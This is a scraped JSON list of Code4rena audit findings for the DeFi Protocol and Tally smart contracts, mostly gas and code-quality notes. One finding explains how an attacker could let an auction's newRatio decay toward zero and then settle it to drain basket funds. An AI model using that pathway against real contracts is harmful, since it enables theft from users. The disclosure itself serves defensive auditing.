"https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/51", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle kenzo # Vulnerability details After an auction has started, as time passes and according to the bondBlock, newRatio (which starts at 2*ibRatio) gets smaller and smaller and therefore less and less tokens need to remain in the basket. This is not capped, and after a while, newRatio can become smaller than current ibRatio. ## Impact If for some reason nobody has bonded and settled an auction and the publisher didn't stop it, a malicious user can wait until newRatio < ibRatio, or even until newRatio ~= 0 (for an initial ibRatio of ~1e18 this happens after less than 3.5 days after auction started), and then bond and settle and steal user funds. ## Proof of Concept These are the vulnerable lines: https://github.com/code-423n4/2021-10-defiprotocol/blob/main/contracts/contracts/Auction.sol#L95:#L105 ``` uint256 a = factory.auctionMultiplier() * basket.ibRatio(); uint256 b = (bondBlock - auctionStart) * BASE / factory.auctionDecrement(); uint256 newRatio = a - b; (address[] memory pendingTokens, uint256[] memory pendingWeights) = basket.getPendingWeights(); IERC20 basketAsERC20 = IERC20(address(basket)); for (uint256 i = 0; i < pendingWeights.length; i++) { uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE; require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded); } ``` The function verifies that ```pendingTokens[i].balanceOf(basket) >= basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE```. This is the formula that will be used later to mint/burn/withdraw user funds. As bondBlock increases, newRatio will get smaller, and there is no check on this. After a while we'll arrive at a point where ```newRatio ~= 0```, so ```tokensNeeded = newRatio*(...) ~= 0```, so the attacker could withdraw nearly all the tokens using outputTokens and outputWeights, and leave just scraps in the basket. ## Tools Used Manual analysis, hardhat. ## Recommended Mitigation Steps Your needed condition/math might be different, and you might also choose to burn the bond while you're at it, but I think at the minimum you should add a sanity check in settleAuction: ``` require (newRatio > basket.ibRatio()); ``` Maybe you would require newRatio to be > BASE but not sure. "}, {"title": "Inaccurate log emitted at deleteNewIndex", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Inaccurate log emitted at deleteNewIndex"}, {"title": "Basket becomes unusable if everybody burns their shares", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "Basket becomes unusable if everybody burns their shares"}, {"title": "Bonding mechanism allows malicious user to DOS auctions", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/48", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Bonding mechanism allows malicious user to DOS auctions"}, {"title": "Comparisons to boolean constant", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Comparisons to boolean constant"}, {"title": "Minimize Storage Slots (Auction.sol)", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact It is possible to minimize the number of storage slots used by rearranging the state variables in a more efficient way. ## Proof of Concept In Auction.sol: https://github.com/code-423n4/2021-10-defiprotocol/blob/7ca848f2779e2e64ed0b4756c02f0137ecd73e50/contracts/contracts/Auction.sol#L16-L28 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Arrange the bool and address variables such that they fit into the same slot. For example: uint256 private constant BASE = 1e18; uint256 private constant ONE_DAY = 4 * 60 * 24; // one day in blocks bool public override auctionOngoing; bool public override hasBonded; bool public override initialized; address public override auctionBonder; uint256 public override auctionStart; "}, {"title": "`nonReentrant` modifier should be used before any other modifier", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Basket.auctionBurn()` uses the `onlyAuction` and `nonReentrant` modifier, with this order. ## Impact The `nonReentrant` modifier doesn't protect agains reentrancy during the execution of the first modifier. Practically, there cannot be any reentrancy there when considering the current implementation of `onlyAuction`, but it is still a best practice recommendation for safe programming. ## Tool Used Manual code review. ## Recommended Mitigation Steps Use the `nonReentrant` modifier before any other modifier. "}, {"title": "Events in `IAuction` don't use the `indexed` keyword", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Events in `IAuction` don't use the `indexed` keyword"}, {"title": "`Factory.proposeBasketLicense()` and `IFactory.proposeBasketLicense()` accept arguments with different data locations", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Factory.proposeBasketLicense()` claims to override `IFactory.proposeBasketLicense()`, but some of their arguments have different data locations. ## Impact Mismatching data locations in overrides have unexpected behavior. ## Proof of Concept https://github.com/ethereum/solidity/issues/10900 ## Tool Used Manual code review. ## Recommended Mitigation Steps Modify the data locations of the arguments to match between `Factory.proposeBasketLicense()` and `IFactory.proposeBasketLicense()`. "}, {"title": "`Basket.publishNewIndex()` and `IBasket.publishNewIndex()` accept arguments with different data locations", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/42", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Basket.publishNewIndex()` claims to override `IBasket.publishNewIndex()`, but their arguments have different data locations. ## Impact Mismatching data locations in overrides have unexpected behavior. ## Proof of Concept https://github.com/ethereum/solidity/issues/10900 ## Tool Used Manual code review. ## Recommended Mitigation Steps Modify the data locations of the arguments to match between `Basket.publishNewIndex()` and `IBasket.publishNewIndex()`. "}, {"title": "`Auction.settleAuction()` and `IAuction.settleAuction()` accept arguments with different data locations", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Auction.settleAuction()` claims to override `IAuction.settleAuction()`, but their arguments have different data locations. ## Impact Mismatching data locations in overrides have unexpected behavior. ## Proof of Concept https://github.com/ethereum/solidity/issues/10900 ## Tool Used Manual code review. ## Recommended Mitigation Steps Modify the data locations of the arguments to match between `Auction.settleAuction()` and `IAuction.settleAuction()`. "}, {"title": "Empty `else if` block in `Basket.publishNewIndex()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Basket.publishNewIndex()` contains the following code: ``` if (auction.auctionOngoing() == false) { // ... } else if (auction.hasBonded()) { } else { // ... } ``` ## Impact Empty code blocks increase gas costs (add overheads) and make the code less readable. ## Tool Used Manual code review. ## Recommended Mitigation Steps Get rid of the empty block by changing this code to: ``` if (auction.auctionOngoing() == false) { // ... } else if (!auction.hasBonded()) { // ... } ``` "}, {"title": "Unnecessary `SLOAD`s and `MLOAD`s in for-each loops", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details There are many for loops that follows this for-each pattern: ``` for (uint256 i = 0; i < array.length; i++) { // do something with `array[i]` } ``` In such for loops, the `array.length` is read on every iteration, instead of caching it once in a local variable and read it from there. ## Impact Storage reads are much more expensive than reading local variables. Memory reads are a bit more expensive than reading local variables. ## Tool Used Manual code review. ## Recommended Mitigation Steps Read these values from storage / memory once, cache them in local variables and then read them again from the local variables. For example: ``` uint256 length = array.length; for (uint256 i = 0; i < length; i++) { // do something with `array[i]` } ``` "}, {"title": "Unnecessary `SLOAD`s in `Factory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The functions `Factory.getProposalWeights()` and `Factory.createBasket()` read values from storage multiple times instead of caching them in local variables: - `Factory.getProposalWeights()` reads `_proposals[id]` twice. - `Factory.createBasket()` reads `_proposals[idNumber]` twice. ## Impact Storage reads are much more expensive than reading local variables. ## Tool Used Manual code review. ## Recommended Mitigation Steps Read these values from storage once, cache them in local variables and then read them again from the local variables. "}, {"title": "Unnecessary `SLOAD`s in `Basket`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The functions `Basket.handleFees()`, `Basket.changePublisher()`, `Basket.changeLicenseFee()`, `Basket.publishNewIndex()`, `Basket.deleteNewIndex()`, `Basket.updateIBRatio()`, `Basket.approveUnderlying()`, `Basket.pushUnderlying()` and `Basket.pullUnderlying()` read values from storage multiple times instead of caching them in local variables: - `Basket.handleFees()` reads `lastFee` up to twice, `factory` 3 times and `ibRatio` once (when `newIbRatio` can be used). - `Basket.changePublisher()` reads `pendingPublisher.publisher` up to twice and `publisher` up to once (when `newPublisher` can be used). - `Basket.changeLicenseFee()` reads `pendingLicenseFee.licenseFee` up to twice and `licenseFee` up to once (when `newLicenseFee` can be used). - `Basket.publishNewIndex()` reads `auction` up to 3 times and `licenseFee` up to once (when `newLicenseFee` can be used). - `Basket.deleteNewIndex()` reads `publisher` twice and `auction` up to twice. - `Basket.updateIBRatio()` reads `ibRatio` twice. - `Basket.approveUnderlying()` reads `tokens[i]` twice. - `Basket.pushUnderlying()` reads `ibRatio` once per iteration. - `Basket.pullUnderlying()` reads `ibRatio` once per iteration. ## Impact Storage reads are much more expensive than reading local variables. ## Tool Used Manual code review. ## Recommended Mitigation Steps Read these values from storage once, cache them in local variables and then read them again from the local variables. "}, {"title": "Unnecessary `SLOAD`s in `Auction`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The functions `Auction.bondForRebalance()`, `Auction.settleAuction()`, `Auction.bondBurn()` and `Auction.withdrawBounty()` read values from storage multiple times instead of caching them in local variables: - `Auction.bondForRebalance()` reads `bondAmount` twice. - `Auction.settleAuction()` reads `bondBlock` twice, `basket` 8 times and `factory` twice. - `Auction.bondBurn()` reads `basket` twice and `bondAmount` twice. - `Auction.withdrawBounty()` reads `bounty.token` twice and `bounty.amount` twice. ## Impact Storage reads are much more expensive than reading local variables. ## Tool Used Manual code review. ## Recommended Mitigation Steps Read these values from storage once, cache them in local variables and then read them again from the local variables. "}, {"title": "Inconsistent naming of a function's argument in `Factory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Inconsistent naming of a function's argument in `Factory`"}, {"title": "Array out-of-bounds error in `Auction`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/31", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Auction.withdrawBounty()` accept an argument called `bountyIds` and use it as indices to determine which elements in the `_bounties` array should be loaded and treated. However, this function don't check that the indices it receives as an argument actually fits the bounds of the `_bounties` array. ## Impact If one of the indices exceed the array length, there will be a revert with no informative error message. The user wouldn't know what caused the revert. ## Tool Used Manual code review. ## Recommended Mitigation Steps Add an appropriate require statement to this function to validate that the given argument fits the `_bounties` array bounds. "}, {"title": "Array out-of-bounds errors in `Factory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/30", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The functions `Factory.proposal()`, `Factory.getProposalWeights()` and `Factory.createBasket()` accept an argument called `proposalId`, `id` or `idNumber`, respectively, and use it as an index to determine which element in the `_proposals` array should be loaded and treated. However, these functions don't check that the index they receive as an argument actually fits the bounds of the `_proposals` array. ## Impact If the index exceed the array length, there will be a revert with no informative error message. The user wouldn't know what caused the revert. ## Tool Used Manual code review. ## Recommended Mitigation Steps Add an appropriate require statement to each of these functions to validate that the given argument fits the `_proposals` array bounds. "}, {"title": "Unnecessary require statement in `Auction.initialize()` and `Basket.initialize()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The functions `Auction.initialize()` and `Basket.initialize()` look like this: ``` require(address(factory) == address(0)); require(!initialized); // ... factory = ...; // ... initialized = true; ``` The second require statement is enough to make sure that these functions can only be called once. The first require statement is redundent. ## Impact A redundent operation is executing. ## Tool Used Manual code review. ## Recommended Mitigation Steps Remove the first require statement in these functions. "}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "# Handle WatchPug # Vulnerability details There is no risk of overflow caused by increamenting the iteration index in for loops (the `i++` in for `for (uint256 i; i < ids.length; i++)`). Increments perform overflow checks that are not necessary in this case. ### Recommendation Surround the increment expressions with an `unchecked { ... }` block to avoid the default overflow checks. For example, change the for loop: https://github.com/code-423n4/2022-01-timeswap/blob/bf50d2a8bb93a5571f35f96bd74af54d9c92a210/Timeswap/Timeswap-V1-Convenience/contracts/libraries/PayMath.sol#L21-L33 ```solidity for (uint256 i; i < ids.length; i++) { IPair.Due memory due = pair.dueOf(maturity, address(collateralizedDebt), ids[i]); if (assetsIn[i] > due.debt) assetsIn[i] = due.debt; if (msg.sender == collateralizedDebt.ownerOf(ids[i])) { uint256 _collateralOut = due.collateral; if (due.debt > 0) { _collateralOut *= assetsIn[i]; _collateralOut /= due.debt; } collateralsOut[i] = _collateralOut.toUint112(); } } ``` to: ```solidity for (uint256 i; i < ids.length;) { IPair.Due memory due = pair.dueOf(maturity, address(collateralizedDebt), ids[i]); if (assetsIn[i] > due.debt) assetsIn[i] = due.debt; if (msg.sender == collateralizedDebt.ownerOf(ids[i])) { uint256 _collateralOut = due.collateral; if (due.debt > 0) { _collateralOut *= assetsIn[i]; _collateralOut /= due.debt; } collateralsOut[i] = _collateralOut.toUint112(); } unchecked { ++i; } } ``` "}, {"title": "Unnecessary checked arithmetic in `Basket.handleFees()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Unnecessary checked arithmetic in `Basket.handleFees()`"}, {"title": "Unnecessary checked arithmetic in `Auction.addBounty()` and `Factory.proposeBasketLicense()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Unnecessary checked arithmetic in `Auction.addBounty()` and `Factory.proposeBasketLicense()`"}, {"title": "Unnecessary checked arithmetic in `Auction.settleAuction()`, `Auction.bondBurn()`, `Basket.changePublisher()`, `Basket.changeLicenseFee()` and `Basket.publishNewIndex()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Unnecessary checked arithmetic in `Auction.settleAuction()`, `Auction.bondBurn()`, `Basket.changePublisher()`, `Basket.changeLicenseFee()` and `Basket.publishNewIndex()`"}, {"title": "Setting `Factory.auctionDecrement` to zero causes Denial of Service in `Auction.settleAuction()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/24", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Setting `Factory.auctionDecrement` to zero causes Denial of Service in `Auction.settleAuction()`"}, {"title": "Setting `Factory.bondPercentDiv` to zero cause Denial of Service in `Auction.bondForRebalance()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/23", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Setting `Factory.bondPercentDiv` to zero cause Denial of Service in `Auction.bondForRebalance()`"}, {"title": "Prefix increament is cheaper than postfix increament", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Prefix increament is cheaper than postfix increament"}, {"title": "Unnecessary cast in `Basket.onlyPublisher()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The modifier `Basket.onlyPublisher()` casts `publisher` to type `address`, although it is already a variable of type `address`. ## Impact A redundent operation is executing. ## Tool Used Manual code review. ## Recommended Mitigation Steps Remove the cast to `address`. "}, {"title": "Unnecessary cast in `Factory.proposeBasketLicense()`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The function `Factory.proposeBasketLicense()` casts `msg.sender` to type `address`, although it is already a variable of type `address`. ## Impact A redundent operation is executing. ## Tool Used Manual code review. ## Recommended Mitigation Steps Remove the cast to `address`. "}, {"title": "Require statements without messages in `Factory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/18", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Require statements without messages in `Factory`"}, {"title": "Require statements without messages in `Basket`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/17", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Require statements without messages in `Basket`"}, {"title": "Require statements without messages in `Auction`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Require statements without messages in `Auction`"}, {"title": "`internal` function in `Auction` can be `private`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The `internal` function `Auction.withdrawBounty()` is never called by a contract that inherits `Auction`. Therefore, its visibility can be reduced to `private`. ## Impact `private` functions are cheaper than `internal` functions. ## Tool Used Manual code review. ## Recommended Mitigation Steps Define this function as `private`. "}, {"title": "`public` functions in `Factory` can be `external`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The `public` functions `Factory.setMinLicenseFee()`, `Factory.setAuctionDecrement()`, `Factory.setAuctionMultiplier()`, `Factory.setBondPercentDiv()`, `Factory.setOwnerSplit()` and `Factory.proposeBasketLicense()` are never called by `Factory`. Therefore, their visibility can be reduced to `external`. ## Impact `external` functions are cheaper than `public` functions. ## Proof of Concept https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Tool Used Manual code review. ## Recommended Mitigation Steps Define these functions as `public`. "}, {"title": "`public` functions in `Basket` can be `external`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The `public` functions `Basket.mint()`, `Basket.burn()`, `Basket.changePublisher()`, `Basket.changeLicenseFee()`, `Basket.publishNewIndex()` and `Basket.deleteNewIndex()` are never called by `Basket`. Therefore, their visibility can be reduced to `external`. ## Impact `external` functions are cheaper than `public` functions. ## Proof of Concept https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Tool Used Manual code review. ## Recommended Mitigation Steps Define these functions as `public`. "}, {"title": "`public` functions in `Auction` can be `external`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The `public` functions `Auction.startAuction()`, `Auction.killAuction()`, `Auction.initialize()`, `Auction.bondForRebalance()`, `Auction.settleAuction()` and `Auction.addBounty()` are never called by `Auction`. Therefore, their visibility can be reduced to `external`. ## Impact `external` functions are cheaper than `public` functions. ## Proof of Concept https://gus-tavo-guim.medium.com/public-vs-external-functions-in-solidity-b46bcf0ba3ac ## Tool Used Manual code review. ## Recommended Mitigation Steps Define these functions as `public`. "}, {"title": "State variables in `Factory` can be `immutable`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-defiprotocol-findings", "body": "# Handle pants # Vulnerability details The state variables `Factory.auctionImpl` and `Factory.basketImpl` can be `immutable` since they are only set once, at the constructor. ## Impact Reading from immutable state variables is much cheaper than from regular state variables. ## Proof of Concept https://blog.soliditylang.org/2020/05/13/immutable-keyword/ ## Tool Used Manual code review. ## Recommended Mitigation Steps Define these state variables as `immutable`. "}, {"title": "Open TODOs in `Factory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/10", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Open TODOs in `Factory`"}, {"title": "Open TODOs in `Basket`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Open TODOs in `Basket`"}, {"title": "Open TODOs in `Auction`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Open TODOs in `Auction`"}, {"title": "Open TODOs in `IFactory`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/7", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Open TODOs in `IFactory`"}, {"title": "Open TODOs in `IBasket`", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/6", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Open TODOs in `IBasket`"}, {"title": "Unused Named Returns Can Be Removed", "html_url": "https://github.com/code-423n4/2021-10-defiprotocol-findings/issues/4", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-defiprotocol-findings", "body": "Unused Named Returns Can Be Removed"}, {"title": "Token Can Deny Execution of `sweepFees()` Function", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/81", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Token Can Deny Execution of `sweepFees()` Function"}, {"title": "`Ownable` Contract Does Not Implement Two-Step Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `Swap.sol` inherits OpenZeppelin's `Ownable` contract which enables the `onlyOwner` role to transfer ownership to another address. It's possible that the `onlyOwner` role mistakenly transfers ownership to the wrong address, resulting in a loss of the `onlyOwner` role. ## Proof of Concept https://github.com/code-423n4/2021-10-tally/blob/main/contracts/governance/EmergencyGovernable.sol https://github.com/code-423n4/2021-10-tally/blob/main/contracts/swap/Swap.sol ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider overriding the `transferOwnership()` function to first nominate an address as the pending owner and implementing an `acceptOwnership()` function which is called by the pending owner to confirm the transfer. Alternatively, as the `onlyOwner` role is not used throughout the contract, it may be useful to remove this contract entirely from the `EmergencyGovernable.sol` contract. "}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/75", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Open TODOs"}, {"title": "Unnecessary `CALLDATALOAD`s in for-each loops", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-10-tally-findings", "body": "Unnecessary `CALLDATALOAD`s in for-each loops"}] \ No newline at end of file diff --git a/results/codearena_findings_6.json b/results/codearena_findings_6.json new file mode 100644 index 0000000..462a64f --- /dev/null +++ b/results/codearena_findings_6.json @@ -0,0 +1 @@ +[{"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/73", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-10-tally-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/72", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "# Handle robee # Vulnerability details There are places in the code (especially in for-each loops) that loads the same array element more than once. In such cases, only one array boundaries check should take place, and the rest are unnecessary. Therefore, this array element should be cached in a local variable and then be loaded again using this local variable, skipping the redundent second array boundaries check: ConvexStakingWrapper.sol, variable name: _accounts times: 5 at: _calcRewardIntegral ConvexStakingWrapper.sol, variable name: _accounts times: 5 at: _calcCvxIntegral "}, {"title": "Prefix increaments are cheaper than postfix increaments", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/71", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Prefix increaments are cheaper than postfix increaments"}, {"title": "`internal` functions can be `private`", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "`internal` functions can be `private`"}, {"title": "Users can avoid paying fees for ETH swaps", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Users can avoid paying fees for ETH swaps"}, {"title": "`Swap.setFeeRecipient()` emits a `NewFeeRecipient` when the fee recipient hasn't changed", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "`Swap.setFeeRecipient()` emits a `NewFeeRecipient` when the fee recipient hasn't changed"}, {"title": "`Swap.setSwapFee()` emits a `NewSwapFee` when the swap fee hasn't changed", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/66", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "`Swap.setSwapFee()` emits a `NewSwapFee` when the swap fee hasn't changed"}, {"title": "Cache or use existing memory versions of state variables (feeRecipient, swapFee)", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Cache or use existing memory versions of state variables (feeRecipient, swapFee)"}, {"title": "Unnecessary `SLOAD` in `Swap.setSwapFee()`", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-10-tally-findings", "body": "# Handle pants # Vulnerability details This line in `Swap.setSwapFee()` perfoms an `SLOAD` operation for a value that is already stored in a local variable: ``` emit NewSwapFee(swapFee); ``` ## Impact Storage reads are much more expensive than reading local variables. ## Tool Used Manual code review. ## Recommended Mitigation Steps Use the already existing local variable instead of loading this value from storage: ``` emit NewSwapFee(swapFee_); ``` "}, {"title": "Unnecessary require statement in `Swap`'s constructor", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Unnecessary require statement in `Swap`'s constructor"}, {"title": "Unnecessary `SLOAD`s in `EmergencyGovernable.onlyTimelockOrEmergencyGovernance()`", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Unnecessary `SLOAD`s in `EmergencyGovernable.onlyTimelockOrEmergencyGovernance()`"}, {"title": "Inclusive check", "html_url": "https://github.com/code-423n4/2021-10-tally-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-10-tally-findings", "body": "Inclusive check"}, {"title": "use of floating pragma", "html_url": 